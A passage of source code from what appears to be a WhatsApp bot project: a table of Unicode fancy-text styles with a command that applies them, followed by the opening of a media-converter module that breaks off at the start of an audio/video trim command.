4:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"🄰","b":"🄱","c":"🄲","d":"🄳","e":"🄴","f":"🄵","g":"🄶","h":"🄷","i":"🄸","j":"🄹","k":"🄺","l":"🄻","m":"🄼","n":"🄽","o":"🄾","p":"🄿","q":"🅀","r":"🅁","s":"🅂","t":"🅃","u":"🅄","v":"🅅","w":"🅆","x":"🅇","y":"🅈","z":"🅉","A":"🄰","B":"🄱","C":"🄲","D":"🄳","E":"🄴","F":"🄵","G":"🄶","H":"🄷","I":"🄸","J":"🄹","K":"🄺","L":"🄻","M":"🄼","N":"🄽","O":"🄾","P":"🄿","Q":"🅀","R":"🅁","S":"🅂","T":"🅃","U":"🅄","V":"🅅","W":"🅆","X":"🅇","Y":"🅈","Z":"🅉" }, 9 | 5:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Ꮧ","b":"Ᏸ","c":"ፈ","d":"Ꮄ","e":"Ꮛ","f":"Ꭶ","g":"Ꮆ","h":"Ꮒ","i":"Ꭵ","j":"Ꮰ","k":"Ꮶ","l":"Ꮭ","m":"Ꮇ","n":"Ꮑ","o":"Ꭷ","p":"Ꭾ","q":"Ꭴ","r":"Ꮢ","s":"Ꮥ","t":"Ꮦ","u":"Ꮼ","v":"Ꮙ","w":"Ꮗ","x":"ጀ","y":"Ꭹ","z":"ፚ","A":"Ꮧ","B":"Ᏸ","C":"ፈ","D":"Ꮄ","E":"Ꮛ","F":"Ꭶ","G":"Ꮆ","H":"Ꮒ","I":"Ꭵ","J":"Ꮰ","K":"Ꮶ","L":"Ꮭ","M":"Ꮇ","N":"Ꮑ","O":"Ꭷ","P":"Ꭾ","Q":"Ꭴ","R":"Ꮢ","S":"Ꮥ","T":"Ꮦ","U":"Ꮼ","V":"Ꮙ","W":"Ꮗ","X":"ጀ","Y":"Ꭹ","Z":"ፚ" }, 10 | 6:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ᗩ","b":"ᗷ","c":"ᑕ","d":"ᗪ","e":"E","f":"ᖴ","g":"G","h":"ᕼ","i":"I","j":"ᒍ","k":"K","l":"ᒪ","m":"ᗰ","n":"ᑎ","o":"O","p":"ᑭ","q":"ᑫ","r":"ᖇ","s":"ᔕ","t":"T","u":"ᑌ","v":"ᐯ","w":"ᗯ","x":"᙭","y":"Y","z":"ᘔ","A":"ᗩ","B":"ᗷ","C":"ᑕ","D":"ᗪ","E":"E","F":"ᖴ","G":"G","H":"ᕼ","I":"I","J":"ᒍ","K":"K","L":"ᒪ","M":"ᗰ","N":"ᑎ","O":"O","P":"ᑭ","Q":"ᑫ","R":"ᖇ","S":"ᔕ","T":"T","U":"ᑌ","V":"ᐯ","W":"ᗯ","X":"᙭","Y":"Y","Z":"ᘔ" }, 11 | 7:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ǟ","b":"ɮ","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɢ","h":"ɦ","i":"ɨ","j":"ʝ","k":"ӄ","l":"ʟ","m":"ʍ","n":"ռ","o":"օ","p":"ք","q":"զ","r":"ʀ","s":"ֆ","t":"ȶ","u":"ʊ","v":"ʋ","w":"ա","x":"Ӽ","y":"ʏ","z":"ʐ","A":"ǟ","B":"ɮ","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɢ","H":"ɦ","I":"ɨ","J":"ʝ","K":"ӄ","L":"ʟ","M":"ʍ","N":"ռ","O":"օ","P":"ք","Q":"զ","R":"ʀ","S":"ֆ","T":"ȶ","U":"ʊ","V":"ʋ","W":"ա","X":"Ӽ","Y":"ʏ","Z":"ʐ" }, 12 | 8:{"0":"𝟶","1":"𝟷","2":"𝟸","3":"𝟹","4":"𝟺","5":"𝟻","6":"𝟼","7":"𝟽","8":"𝟾","9":"𝟿","a":"𝚊","b":"𝚋","c":"𝚌","d":"𝚍","e":"𝚎","f":"𝚏","g":"𝚐","h":"𝚑","i":"𝚒","j":"𝚓","k":"𝚔","l":"𝚕","m":"𝚖","n":"𝚗","o":"𝚘","p":"𝚙","q":"𝚚","r":"𝚛","s":"𝚜","t":"𝚝","u":"𝚞","v":"𝚟","w":"𝚠","x":"𝚡","y":"𝚢","z":"𝚣","A":"𝙰","B":"𝙱","C":"𝙲","D":"𝙳","E":"𝙴","F":"𝙵","G":"𝙶","H":"𝙷","I":"𝙸","J":"𝙹","K":"𝙺","L":"𝙻","M":"𝙼","N":"𝙽","O":"𝙾","P":"𝙿","Q":"𝚀","R":"𝚁","S":"𝚂","T":"𝚃","U":"𝚄","V":"𝚅","W":"𝚆","X":"𝚇","Y":"𝚈","Z":"𝚉" }, 13 | 9:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝙖","b":"𝙗","c":"𝙘","d":"𝙙","e":"𝙚","f":"𝙛","g":"𝙜","h":"𝙝","i":"𝙞","j":"𝙟","k":"𝙠","l":"𝙡","m":"𝙢","n":"𝙣","o":"𝙤","p":"𝙥","q":"𝙦","r":"𝙧","s":"𝙨","t":"𝙩","u":"𝙪","v":"𝙫","w":"𝙬","x":"𝙭","y":"𝙮","z":"𝙯","A":"𝘼","B":"𝘽","C":"𝘾","D":"𝘿","E":"𝙀","F":"𝙁","G":"𝙂","H":"𝙃","I":"𝙄","J":"𝙅","K":"𝙆","L":"𝙇","M":"𝙈","N":"𝙉","O":"𝙊","P":"𝙋","Q":"𝙌","R":"𝙍","S":"𝙎","T":"𝙏","U":"𝙐","V":"𝙑","W":"𝙒","X":"𝙓","Y":"𝙔","Z":"𝙕" }, 14 | 10:{"0":"𝟎","1":"𝟏","2":"𝟐","3":"𝟑","4":"𝟒","5":"𝟓","6":"𝟔","7":"𝟕","8":"𝟖","9":"𝟗","a":"𝐚","b":"𝐛","c":"𝐜","d":"𝐝","e":"𝐞","f":"𝐟","g":"𝐠","h":"𝐡","i":"𝐢","j":"𝐣","k":"𝐤","l":"𝐥","m":"𝐦","n":"𝐧","o":"𝐨","p":"𝐩","q":"𝐪","r":"𝐫","s":"𝐬","t":"𝐭","u":"𝐮","v":"𝐯","w":"𝐰","x":"𝐱","y":"𝐲","z":"𝐳","A":"𝐀","B":"𝐁","C":"𝐂","D":"𝐃","E":"𝐄","F":"𝐅","G":"𝐆","H":"𝐇","I":"𝐈","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝐌","N":"𝐍","O":"𝐎","P":"𝐏","Q":"𝐐","R":"𝐑","S":"𝐒","T":"𝐓","U":"𝐔","V":"𝐕","W":"𝐖","X":"𝐗","Y":"𝐘","Z":"𝐙" }, 15 | 11:{"0":"𝟬","1":"𝟭","2":"𝟮","3":"𝟯","4":"𝟰","5":"𝟱","6":"𝟲","7":"𝟳","8":"𝟴","9":"𝟵","a":"𝗮","b":"𝗯","c":"𝗰","d":"𝗱","e":"𝗲","f":"𝗳","g":"𝗴","h":"𝗵","i":"𝗶","j":"𝗷","k":"𝗸","l":"𝗹","m":"𝗺","n":"𝗻","o":"𝗼","p":"𝗽","q":"𝗾","r":"𝗿","s":"𝘀","t":"𝘁","u":"𝘂","v":"𝘃","w":"𝘄","x":"𝘅","y":"𝘆","z":"𝘇","A":"𝗔","B":"𝗕","C":"𝗖","D":"𝗗","E":"𝗘","F":"𝗙","G":"𝗚","H":"𝗛","I":"𝗜","J":"𝗝","K":"𝗞","L":"𝗟","M":"𝗠","N":"𝗡","O":"𝗢","P":"𝗣","Q":"𝗤","R":"𝗥","S":"𝗦","T":"𝗧","U":"𝗨","V":"𝗩","W":"𝗪","X":"𝗫","Y":"𝗬","Z":"𝗭" }, 16 | 12: {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝘢","b":"𝘣","c":"𝘤","d":"𝘥","e":"𝘦","f":"𝘧","g":"𝘨","h":"𝘩","i":"𝘪","j":"𝘫","k":"𝘬","l":"𝘭","m":"𝘮","n":"𝘯","o":"𝘰","p":"𝘱","q":"𝘲","r":"𝘳","s":"𝘴","t":"𝘵","u":"𝘶","v":"𝘷","w":"𝘸","x":"𝘹","y":"𝘺","z":"𝘻","A":"𝘈","B":"𝘉","C":"𝘊","D":"𝘋","E":"𝘌","F":"𝘍","G":"𝘎","H":"𝘏","I":"𝘐","J":"𝘑","K":"𝘒","L":"𝘓","M":"𝘔","N":"𝘕","O":"𝘖","P":"𝘗","Q":"𝘘","R":"𝘙","S":"𝘚","T":"𝘛","U":"𝘜","V":"𝘝","W":"𝘞","X":"𝘟","Y":"𝘠","Z":"𝘡" }, 17 | 13:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"Ⴆ","c":"ƈ","d":"ԃ","e":"ҽ","f":"ϝ","g":"ɠ","h":"ԋ","i":"ι","j":"ʝ","k":"ƙ","l":"ʅ","m":"ɱ","n":"ɳ","o":"σ","p":"ρ","q":"ϙ","r":"ɾ","s":"ʂ","t":"ƚ","u":"υ","v":"ʋ","w":"ɯ","x":"x","y":"ყ","z":"ȥ","A":"A","B":"B","C":"C","D":"D","E":"E","F":"F","G":"G","H":"H","I":"I","J":"J","K":"K","L":"L","M":"M","N":"N","O":"O","P":"P","Q":"Q","R":"R","S":"S","T":"T","U":"U","V":"V","W":"W","X":"X","Y":"Y","Z":"Z" }, 18 | 14:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"₳","b":"฿","c":"₵","d":"Đ","e":"Ɇ","f":"₣","g":"₲","h":"Ⱨ","i":"ł","j":"J","k":"₭","l":"Ⱡ","m":"₥","n":"₦","o":"Ø","p":"₱","q":"Q","r":"Ɽ","s":"₴","t":"₮","u":"Ʉ","v":"V","w":"₩","x":"Ӿ","y":"Ɏ","z":"Ⱬ","A":"₳","B":"฿","C":"₵","D":"Đ","E":"Ɇ","F":"₣","G":"₲","H":"Ⱨ","I":"ł","J":"J","K":"₭","L":"Ⱡ","M":"₥","N":"₦","O":"Ø","P":"₱","Q":"Q","R":"Ɽ","S":"₴","T":"₮","U":"Ʉ","V":"V","W":"₩","X":"Ӿ","Y":"Ɏ","Z":"Ⱬ" }, 19 | 15:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"å","b":"ß","c":"¢","d":"Ð","e":"ê","f":"£","g":"g","h":"h","i":"ï","j":"j","k":"k","l":"l","m":"m","n":"ñ","o":"ð","p":"þ","q":"q","r":"r","s":"§","t":"†","u":"µ","v":"v","w":"w","x":"x","y":"¥","z":"z","A":"Ä","B":"ß","C":"Ç","D":"Ð","E":"È","F":"£","G":"G","H":"H","I":"Ì","J":"J","K":"K","L":"L","M":"M","N":"ñ","O":"Ö","P":"þ","Q":"Q","R":"R","S":"§","T":"†","U":"Ú","V":"V","W":"W","X":"×","Y":"¥","Z":"Z" }, 20 | 16:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"в","c":"¢","d":"∂","e":"є","f":"ƒ","g":"g","h":"н","i":"ι","j":"נ","k":"к","l":"ℓ","m":"м","n":"η","o":"σ","p":"ρ","q":"q","r":"я","s":"ѕ","t":"т","u":"υ","v":"ν","w":"ω","x":"χ","y":"у","z":"z","A":"α","B":"в","C":"¢","D":"∂","E":"є","F":"ƒ","G":"g","H":"н","I":"ι","J":"נ","K":"к","L":"ℓ","M":"м","N":"η","O":"σ","P":"ρ","Q":"q","R":"я","S":"ѕ","T":"т","U":"υ","V":"ν","W":"ω","X":"χ","Y":"у","Z":"z" }, 21 | 17:{"0":"⊘","1":"𝟙","2":"ϩ","3":"Ӡ","4":"५","5":"Ƽ","6":"Ϭ","7":"7","8":"𝟠","9":"९","a":"ą","b":"ҍ","c":"ç","d":"ժ","e":"ҽ","f":"ƒ","g":"ց","h":"հ","i":"ì","j":"ʝ","k":"ҟ","l":"Ӏ","m":"ʍ","n":"ղ","o":"օ","p":"ք","q":"զ","r":"ɾ","s":"ʂ","t":"է","u":"մ","v":"ѵ","w":"ա","x":"×","y":"վ","z":"Հ","A":"Ⱥ","B":"β","C":"↻","D":"Ꭰ","E":"Ɛ","F":"Ƒ","G":"Ɠ","H":"Ƕ","I":"į","J":"ل","K":"Ҡ","L":"Ꝉ","M":"Ɱ","N":"ហ","O":"ට","P":"φ","Q":"Ҩ","R":"འ","S":"Ϛ","T":"Ͳ","U":"Ա","V":"Ỽ","W":"చ","X":"ჯ","Y":"Ӌ","Z":"ɀ" }, 22 | 18:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Λ","b":"B","c":"ᄃ","d":"D","e":"Σ","f":"F","g":"G","h":"Ή","i":"I","j":"J","k":"K","l":"ᄂ","m":"M","n":"П","o":"Ө","p":"P","q":"Q","r":"Я","s":"Ƨ","t":"Ƭ","u":"Ц","v":"V","w":"Щ","x":"X","y":"Y","z":"Z","A":"Λ","B":"B","C":"ᄃ","D":"D","E":"Σ","F":"F","G":"G","H":"Ή","I":"I","J":"J","K":"K","L":"ᄂ","M":"M","N":"П","O":"Ө","P":"P","Q":"Q","R":"Я","S":"Ƨ","T":"Ƭ","U":"Ц","V":"V","W":"Щ","X":"X","Y":"Y","Z":"Z" }, 23 | 19:{"0":"₀","1":"₁","2":"₂","3":"₃","4":"₄","5":"₅","6":"₆","7":"₇","8":"₈","9":"₉","a":"ₐ","b":"b","c":"c","d":"d","e":"ₑ","f":"f","g":"g","h":"ₕ","i":"ᵢ","j":"ⱼ","k":"ₖ","l":"ₗ","m":"ₘ","n":"ₙ","o":"ₒ","p":"ₚ","q":"q","r":"ᵣ","s":"ₛ","t":"ₜ","u":"ᵤ","v":"ᵥ","w":"w","x":"ₓ","y":"y","z":"z","A":"ₐ","B":"B","C":"C","D":"D","E":"ₑ","F":"F","G":"G","H":"ₕ","I":"ᵢ","J":"ⱼ","K":"ₖ","L":"ₗ","M":"ₘ","N":"ₙ","O":"ₒ","P":"ₚ","Q":"Q","R":"ᵣ","S":"ₛ","T":"ₜ","U":"ᵤ","V":"ᵥ","W":"W","X":"ₓ","Y":"Y","Z":"Z","+":"₊","-":"₋",":":"₌","(":"₍",")":"₎" }, 24 | 20:{"0":"⁰","1":"¹","2":"²","3":"³","4":"⁴","5":"⁵","6":"⁶","7":"⁷","8":"⁸","9":"⁹","a":"ᵃ","b":"ᵇ","c":"ᶜ","d":"ᵈ","e":"ᵉ","f":"ᶠ","g":"ᵍ","h":"ʰ","i":"ⁱ","j":"ʲ","k":"ᵏ","l":"ˡ","m":"ᵐ","n":"ⁿ","o":"ᵒ","p":"ᵖ","q":"q","r":"ʳ","s":"ˢ","t":"ᵗ","u":"ᵘ","v":"ᵛ","w":"ʷ","x":"ˣ","y":"ʸ","z":"ᶻ","A":"ᴬ","B":"ᴮ","C":"ᶜ","D":"ᴰ","E":"ᴱ","F":"ᶠ","G":"ᴳ","H":"ᴴ","I":"ᴵ","J":"ᴶ","K":"ᴷ","L":"ᴸ","M":"ᴹ","N":"ᴺ","O":"ᴼ","P":"ᴾ","Q":"Q","R":"ᴿ","S":"ˢ","T":"ᵀ","U":"ᵁ","V":"ⱽ","W":"ᵂ","X":"ˣ","Y":"ʸ","Z":"ᶻ","+":"⁺","-":"⁻",":":"⁼","(":"⁽",")":"⁾" }, 25 | 21:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๒","c":"ς","d":"๔","e":"є","f":"Ŧ","g":"ﻮ","h":"ђ","i":"เ","j":"ן","k":"к","l":"ɭ","m":"๓","n":"ภ","o":"๏","p":"ק","q":"ợ","r":"г","s":"ร","t":"Շ","u":"ย","v":"ש","w":"ฬ","x":"א","y":"ץ","z":"չ","A":"ค","B":"๒","C":"ς","D":"๔","E":"є","F":"Ŧ","G":"ﻮ","H":"ђ","I":"เ","J":"ן","K":"к","L":"ɭ","M":"๓","N":"ภ","O":"๏","P":"ק","Q":"ợ","R":"г","S":"ร","T":"Շ","U":"ย","V":"ש","W":"ฬ","X":"א","Y":"ץ","Z":"չ" }, 26 | 22:{"0":"𝟘","1":"𝟙","2":"𝟚","3":"𝟛","4":"𝟜","5":"𝟝","6":"𝟞","7":"𝟟","8":"𝟠","9":"𝟡","a":"𝕒","b":"𝕓","c":"𝕔","d":"𝕕","e":"𝕖","f":"𝕗","g":"𝕘","h":"𝕙","i":"𝕚","j":"𝕛","k":"𝕜","l":"𝕝","m":"𝕞","n":"𝕟","o":"𝕠","p":"𝕡","q":"𝕢","r":"𝕣","s":"𝕤","t":"𝕥","u":"𝕦","v":"𝕧","w":"𝕨","x":"𝕩","y":"𝕪","z":"𝕫","A":"𝔸","B":"𝔹","C":"ℂ","D":"𝔻","E":"𝔼","F":"𝔽","G":"𝔾","H":"ℍ","I":"𝕀","J":"𝕁","K":"𝕂","L":"𝕃","M":"𝕄","N":"ℕ","O":"𝕆","P":"ℙ","Q":"ℚ","R":"ℝ","S":"𝕊","T":"𝕋","U":"𝕌","V":"𝕍","W":"𝕎","X":"𝕏","Y":"𝕐","Z":"ℤ" }, 27 | 23:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝖆","b":"𝖇","c":"𝖈","d":"𝖉","e":"𝖊","f":"𝖋","g":"𝖌","h":"𝖍","i":"𝖎","j":"𝖏","k":"𝖐","l":"𝖑","m":"𝖒","n":"𝖓","o":"𝖔","p":"𝖕","q":"𝖖","r":"𝖗","s":"𝖘","t":"𝖙","u":"𝖚","v":"𝖛","w":"𝖜","x":"𝖝","y":"𝖞","z":"𝖟","A":"𝕬","B":"𝕭","C":"𝕮","D":"𝕯","E":"𝕰","F":"𝕱","G":"𝕲","H":"𝕳","I":"𝕴","J":"𝕵","K":"𝕶","L":"𝕷","M":"𝕸","N":"𝕹","O":"𝕺","P":"𝕻","Q":"𝕼","R":"𝕽","S":"𝕾","T":"𝕿","U":"𝖀","V":"𝖁","W":"𝖂","X":"𝖃","Y":"𝖄","Z":"𝖅" }, 28 | 24:{q:"🆀",w:"🆆",e:"🅴",r:"🆁",t:"🆃",y:"🆈",u:"🆄",i:"🅸",o:"🅾",p:"🅿",a:"🅰",s:"🆂",d:"🅳",f:"🅵",g:"🅶",h:"🅷",j:"🅹",k:"🅺",l:"🅻",z:"🆉",x:"🆇",c:"🅲",v:"🆅",b:"🅱",n:"🅽",m:"🅼"}, 29 | 25:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝓪","b":"𝓫","c":"𝓬","d":"𝓭","e":"𝓮","f":"𝓯","g":"𝓰","h":"𝓱","i":"𝓲","j":"𝓳","k":"𝓴","l":"𝓵","m":"𝓶","n":"𝓷","o":"𝓸","p":"𝓹","q":"𝓺","r":"𝓻","s":"𝓼","t":"𝓽","u":"𝓾","v":"𝓿","w":"𝔀","x":"𝔁","y":"𝔂","z":"𝔃","A":"𝓐","B":"𝓑","C":"𝓒","D":"𝓓","E":"𝓔","F":"𝓕","G":"𝓖","H":"𝓗","I":"𝓘","J":"𝓙","K":"𝓚","L":"𝓛","M":"𝓜","N":"𝓝","O":"𝓞","P":"𝓟","Q":"𝓠","R":"𝓡","S":"𝓢","T":"𝓣","U":"𝓤","V":"𝓥","W":"𝓦","X":"𝓧","Y":"𝓨","Z":"𝓩" }, 30 | 26:{"a":"𝔞","b":"𝔟","c":"𝔠","d":"𝔡","e":"𝔢","f":"𝔣","g":"𝔤","h":"𝔥","i":"𝔦","j":"𝔧","k":"𝔨","l":"𝔩","m":"𝔪","n":"𝔫","o":"𝔬","p":"𝔭","q":"𝔮","r":"𝔯","s":"𝔰","t":"𝔱","u":"𝔲","v":"𝔳","w":"𝔴","x":"𝔵","y":"𝔶","z":"𝔷","A":"𝔄","B":"𝔅","C":"ℭ","D":"𝔇","E":"𝔈","F":"𝔉","G":"𝔊","H":"ℌ","I":"ℑ","J":"𝔍","K":"𝔎","L":"𝔏","M":"𝔐","N":"𝔑","O":"𝔒","P":"𝔓","Q":"𝔔","R":"ℜ","S":"𝔖","T":"𝔗","U":"𝔘","V":"𝔙","W":"𝔚","X":"𝔛","Y":"𝔜","Z":"ℨ" }, 31 | 27:{"`":"`","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","0":"0","-":"-",":":"=","~":"~","!":"!","@":"@","#":"#","$":"$","%":"%","^":"^","&":"&","*":"*","(":"(",")":")","_":"_","+":"+","q":"q","w":"w","e":"e","r":"r","t":"t","y":"y","u":"u","i":"i","o":"o","p":"p","[":"[","]":"]","\\":"\\","Q":"Q","W":"W","E":"E","R":"R","T":"T","Y":"Y","U":"U","I":"I","O":"O","P":"P","{":"{","}":"}","|":"|","a":"a","s":"s","d":"d","f":"f","g":"g","h":"h","j":"j","k":"k","l":"l",";":";","'":"'","A":"A","S":"S","D":"D","F":"F","G":"G","H":"H","J":"J","K":"K","L":"L",":":":","\"":"\"","z":"z","x":"x","c":"c","v":"v","b":"b","n":"n","m":"m",",":",",".":".","/":"/","Z":"Z","X":"X","C":"C","V":"V","B":"B","N":"N","M":"M","<":"<",">":">","?":"?"}, 32 | 28:{"a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ғ","g":"ɢ","h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ","o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"s","t":"ᴛ","u":"ᴜ","v":"ᴠ","w":"ᴡ","x":"x","y":"ʏ","z":"ᴢ","A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ғ","G":"ɢ","H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ","O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"s","T":"ᴛ","U":"ᴜ","V":"ᴠ","W":"ᴡ","X":"x","Y":"ʏ","Z":"ᴢ" }, 33 | 29:{"a":"𝒂","b":"𝒃","c":"𝒄","d":"𝒅","e":"𝒆","f":"𝒇","g":"𝒈","h":"𝒉","i":"𝒊","j":"𝒋","k":"𝒌","l":"𝒍","m":"𝒎","n":"𝒏","o":"𝒐","p":"𝒑","q":"𝒒","r":"𝒓","s":"𝒔","t":"𝒕","u":"𝒖","v":"𝒗","w":"𝒘","x":"𝒙","y":"𝒚","z":"𝒛","A":"𝐴","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝐸","F":"𝐹","G":"𝐺","H":"𝐻","I":"𝐼","J":"𝐽","K":"𝐾","L":"𝐿","M":"𝑀","N":"𝑁","O":"𝑂","P":"𝑃","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝑉","W":"𝑊","X":"𝑋","Y":"𝑌","Z":"𝑍" }, 34 | 30:{"a":"𝛥","b":"𝐵","c":"𝐶","d":"𝐷","e":"𝛯","f":"𝐹","g":"𝐺","h":"𝛨","i":"𝛪","j":"𝐽","k":"𝛫","l":"𝐿","m":"𝛭","n":"𝛮","o":"𝛩","p":"𝛲","q":"𝑄","r":"𝑅","s":"𝑆","t":"𝑇","u":"𝑈","v":"𝛻","w":"𝑊","x":"𝛸","y":"𝑌","z":"𝛧","A":"𝛥","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝛯","F":"𝐹","G":"𝐺","H":"𝛨","I":"𝛪","J":"𝐽","K":"𝛫","L":"𝐿","M":"𝛭","N":"𝛮","O":"𝛩","P":"𝛲","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝛻","W":"𝑊","X":"𝛸","Y":"𝑌","Z":"𝛧"}, 35 | 31:{"A":"𝚫","B":"𝚩","C":"𝐂","D":"𝐃","E":"𝚵","F":"𝐅","G":"𝐆","H":"𝚮","I":"𝚰","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝚳","N":"𝚴","O":"𝚯","P":"𝚸","Q":"𝐐","R":"𝚪","S":"𝐒","T":"𝚻","U":"𝐔","V":"𝛁","W":"𝐖","X":"𝚾","Y":"𝐘","Z":"𝚭","a":"𝚫","b":"𝚩","c":"𝐂","d":"𝐃","e":"𝚵","f":"𝐅","g":"𝐆","h":"𝚮","i":"𝚰","j":"𝐉","k":"𝐊","l":"𝐋","m":"𝚳","n":"𝚴","o":"𝚯","p":"𝚸","q":"𝐐","r":"𝚪","s":"𝐒","t":"𝚻","u":"𝐔","v":"𝛁","w":"𝐖","x":"𝚾","y":"𝐘","z":"𝚭"}, 36 | 32:{"A":"ꪖ","B":"᥇","C":"ᥴ","D":"ᦔ","E":"ꫀ","F":"ᠻ","G":"ᧁ","H":"ꫝ","I":"ﺃ","J":"꠹","K":"ᛕ","L":"ꪶ","M":"ꪑ","N":"ꪀ","O":"ꪮ","P":"ᜣ","Q":"ꪇ","R":"᥅","S":"ᦓ","T":"ꪻ","U":"ꪊ","V":"ꪜ","W":"᭙","X":"᥊","Y":"ꪗ","Z":"ɀ","a":"ꪖ","b":"᥇","c":"ᥴ","d":"ᦔ","e":"ꫀ","f":"ᠻ","g":"ᧁ","h":"ꫝ","i":"ﺃ","j":"꠹","k":"ᛕ","l":"ꪶ","m":"ꪑ","n":"ꪀ","o":"ꪮ","p":"ᜣ","q":"ꪇ","r":"᥅","s":"ᦓ","t":"ꪻ","u":"ꪊ","v":"ꪜ","w":"᭙","x":"᥊","y":"ꪗ","z":"ɀ"}, 37 | 33:{"ഒ":"ඉ","എ":"ᬤ","ഉ":"ຂ","ക":"ᤌ‌","ഗ":"ꪭ","ത":"ꫧ","ന":"ღ͢","മ്പ":"൩","വ":"൨","യ":"ᨨ͓","ര":"ᰍ","ി":"᭄","ീ":"ꪻ","ാ":"ꫂ","(":"ꪶ","ു":"⫰","‌്":"᷃","്":"ັ","ർ":"൪","ണ":"𑇥̅","ട":"ຮ","ട്ട":"ჴ","െ":"൭͛","ം":"◕","ഞ":"ൡ̅","േ":"ල","ൽ":"ᰢ","ന്ന":"ꢳ"}, 38 | 39 | }; 40 | 41 | function applyStyle(text, styleId) { 42 | const style = fancyStyles[styleId]; 43 | if (!style) return null; 44 | return [...text].map(char => style[char] || char).join(''); 45 | } 46 | 47 | module.exports = { 48 | name: 'styles', 49 | aliases: ['fancy'], 50 | description: 'Convert text into fancy styles', 51 | category: 'Fun', 52 | get flashOnly() { 53 | return franceking(); 54 | }, 55 | execute: async (king, msg, args) => { 56 | const fromJid = msg.key.remoteJid; 57 | 58 | if (args.length < 2 || isNaN(args[0])) { 59 | let previewText = '*Fancy Text Styles Preview:*\n'; 60 | const example = 'Hello World'; 61 | 62 | for (const [id, _] of Object.entries(fancyStyles)) { 63 | previewText += `${id}. ${applyStyle(example, id)}\n`; 64 | } 65 | 66 | previewText += `\nUsage: fancy \nEg: fancy 1 Hello World`; 67 | 68 | return king.sendMessage(fromJid, { text: previewText }, { quoted: msg }); 69 | } 70 | 71 | const styleNumber = parseInt(args[0]); 72 | const inputText = args.slice(1).join(' '); 73 | 74 | const styledText = applyStyle(inputText, styleNumber); 75 | if (!styledText) { 76 | return king.sendMessage(fromJid, { 77 | text: `Invalid style number. Available: ${Object.keys(fancyStyles).join(', ')}` 78 | }, { quoted: msg }); 79 | } 80 | 81 | await king.sendMessage(fromJid, { 82 | text: styledText 83 | }, { quoted: msg }); 84 | } 85 | }; 86 | -------------------------------------------------------------------------------- /commands/Convertor.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const axios = require('axios'); 3 | const { downloadMediaMessage } = require('@whiskeysockets/baileys'); 4 | const fs = require('fs-extra'); 5 | const ffmpegPath = require('ffmpeg-static'); 6 | const ffmpeg = require('fluent-ffmpeg'); 7 | ffmpeg.setFfmpegPath(ffmpegPath); 8 | const baileys = require('@whiskeysockets/baileys'); 9 | const { Sticker } = require('wa-sticker-formatter'); 10 | const { Catbox } = require('node-catbox'); 11 | const path = require('path'); 12 | const fs1 = require('fs'); 13 | const { exec } = require('child_process'); 14 | const util = require('util'); 15 | const execPromise = util.promisify(exec); 16 | const { tmpdir } = require('os'); 17 | ffmpeg.setFfmpegPath(ffmpegPath); 18 | 19 | const catbox = new Catbox(); 20 | const { downloadContentFromMessage } = baileys; 21 | 22 | const getBuffer = async (mediaMsg, type) => { 23 | const stream = await downloadContentFromMessage(mediaMsg, type); 24 | const chunks = []; 25 | for await (const chunk of stream) chunks.push(chunk); 26 | return Buffer.concat(chunks); 27 | }; 28 | 29 | const uploadToCatbox = async (path) => { 30 | if (!fs.existsSync(path)) throw new Error("File does not exist"); 31 | const response = await catbox.uploadFile({ path }); 32 | if (!response) throw new Error("Failed to upload"); 33 | return response; 34 | }; 35 | 36 | const contextInfo = { 37 | forwardingScore: 1, 38 | isForwarded: true, 39 | forwardedNewsletterMessageInfo: { 40 | newsletterJid: '120363238139244263@newsletter', 41 | newsletterName: 'FLASH-MD', 42 | serverMessageId: -1 43 | } 44 | }; 45 | 46 | 47 | module.exports = [ 48 | { 49 | name: 'trim', 50 | description: 'Trim quoted audio or video.', 51 | category: 'Converter', 52 | 53 | get flashOnly() { 54 | return franceking(); 55 | }, 56 | 57 | execute: async (king, msg, args, fromJid) => { 58 | const start = parseInt(args[0]); 59 | const end = parseInt(args[1]); 60 | 61 | const quoted = 